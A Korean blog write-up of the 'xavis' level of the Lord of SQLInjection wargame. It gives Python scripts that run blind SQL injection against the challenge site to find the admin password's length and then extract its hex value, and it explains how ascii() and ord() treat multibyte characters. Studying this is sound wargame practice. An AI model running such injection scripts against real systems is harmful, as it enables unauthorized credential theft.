
admin의 비밀번호를 알아내야 하는 문제입니다. 정규표현식과 like가 필터링되는 것을 확인할 수 있습니다. 또 한 아무런 함수도 필터링되지 않으므로 의외로 간단한 문제 아닐까 싶습니다.
특별한 필터링이 없어서 설명은 간략하겠습니다. 코드는 다음과 같습니다.
import requests
#쿠키 설정
cookies = {'PHPSESSID': '쿠키 값'}
#기본 설정
password = ""
length = 1
#pw 길이 구하기
while(1) :
parameter = "?pw=' or id='admin' and length(pw)="+str(length)+"--+-"
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" + parameter
res = requests.get(url=url, cookies = cookies)
search = "Hello admin"
sstr = res.text
result = sstr.find(search)
length = length + 1
if result != -1 :
break
print("길이 : "+str(length - 1))
#pw 구하기
for i in range(1, length) :
for j in range(48,128) :
parameter = "?pw=' or id='admin' and ascii(mid(pw,"+str(i)+",1))="+str(j)+"--+-"
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" + parameter
res = requests.get(url=url, cookies = cookies)
search = "Hello admin"
sstr = res.text
result = sstr.find(search)
if result != -1 :
print(str(i)+" : "+str(j))
password = password + chr(j)
break
print("password : "+password)

길이가 12인데 아스키코드 범위에서는 아무것도 출력되지 않았습니다. 따라서 pw의 값이 멀티 바이트 값이라고 생각하였습니다. 따라서 ascii와 ord 함수의 차이점을 알아야 합니다.
ascii, ord 차이점
ascii : 문자열의 가장 왼쪽의 문자의 아스키코드 값을 리턴합니다.(1바이트)
ord : 문자의 값을 10진수로 리턴합니다.
ex) 멀티 바이트 문자인 '가'를 예로 들겠습니다.
utf-8 표시 : 234, 176, 128 (10진수)
2진수로 표현 : 1110 1010 1011 0000 1000 0000
-> ascii는 1바이트만 읽으므로 1110 1010을 10진수로 234를 리턴합니다.
-> ord는 전체를 읽으므로 15,380,608을 리턴합니다.

bin 함수는 주어진 값의 바이너리 값을 리턴합니다. 이때 문자를 주어지면 0을 리턴합니다.

따라서 문자의 바이너리 값을 확인하기 위해서는 먼저 숫자로 바꾸어줘야 합니다. 그리고 hex함수 같은 경우에는 문자열 전체에 대한 16진수 값을 리턴합니다.

이때 pw의 길이가 12이므로 hex(pw) 했을 때의 길이는 24가 되겠습니다. hex함수의 리턴 값이 또한 문자열이므로 이를 substr 함수로 하나씩 잘라서 확인하면 pw의 hex값을 확인할 수 있습니다.(ascii 와 ord 함수를 설명한 이유는 처음 접근 방향이 바이너리 값을 얻는 것이었는데... hex값이 더 쉽게 구해지네요. ㅎㅎ;;)
결론은 hex값을 얻기로 하였습니다. 이를 코드로 짜면 다음과 같습니다.
import requests
#쿠키 설정
cookies = {'PHPSESSID': 'kn3ho4i30hc2mf9rgp9udiu81m'}
#기본 설정
password = ""
length = 1
HEX = "0123456789ABCDEF"
#pw 구하기
for i in range(1, 25) :
for j in range(0, 16) :
parameter = "?pw=' or id='admin' and substr(hex(pw),"+str(i)+",1)='"+HEX[j]+""
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" + parameter
res = requests.get(url=url, cookies = cookies)
search = "Hello admin"
sstr = res.text
result = sstr.find(search)
if result != -1 :
print(str(i)+" : "+HEX[j])
password = password + HEX[j]
break
print("password : "+password)

이를 변환하면 우왕굳이라는 문자가 나옵니다.

여기서 이 문제 또한 블라인드를 하지않고도 풀 수있습니다. orge 풀이2 처럼 admin의 비밀번호를 추출할 수 있습니다.

'Hacking > LOS : Lord of SQLInjection' 카테고리의 다른 글
| LOS : iron_golem (0) | 2020.10.27 |
|---|---|
| LOS : dragon (0) | 2020.10.25 |
| LOS : nightmare (0) | 2020.10.23 |
| LOS : zombie_assassin (0) | 2020.10.23 |
| LOS : succubus (0) | 2020.10.23 |